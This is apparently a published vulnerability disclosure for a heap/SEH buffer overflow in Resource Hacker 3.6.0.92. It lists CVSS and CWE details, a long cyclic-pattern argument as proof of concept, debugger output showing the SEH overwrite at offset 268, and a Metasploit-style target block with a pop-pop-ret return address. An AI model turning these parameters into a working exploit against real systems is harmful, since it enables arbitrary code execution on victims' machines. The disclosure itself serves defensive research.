Resource Hacker v3.6.0.92 – Buffer overflow
# Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow # Discovery by: Rafael Pedrero # Discovery Date: 2022-01-06 # Vendor Homepage: http://www.angusj.com/resourcehacker/ # Software Link : http://www.angusj.com/resourcehacker/ # Tested Version: 3.6.0.92 # Tested on: Windows 10 CVSS v3: 7.3 CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H CWE: CWE-119 Heap-based buffer overflow controlling the Structured Exception Handler (SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions, may allow attackers to execute arbitrary code via a long file name argument. Proof of concept: Open ResHacker.exe from command line with a large string in Arguments, more than 268 chars: File 'C:\ResourceHacker36\ResHacker.exe' Arguments 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...' SEH chain of main thread Address SE handler 0018FCB4 316A4130 6A413969 *** CORRUPT ENTRY *** 0BADF00D [+] Examining SEH chain 0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic data after the handler 0BADF00D ------------------------------ 'Targets' => [ [ '<fill in the OS/app version here>', { 'Ret' => 0x00426446, # pop eax # pop ebx # ret - ResHacker.exe (change this value from Mona, with a not \x00 ret address) 'Offset' => 268 } ], ], |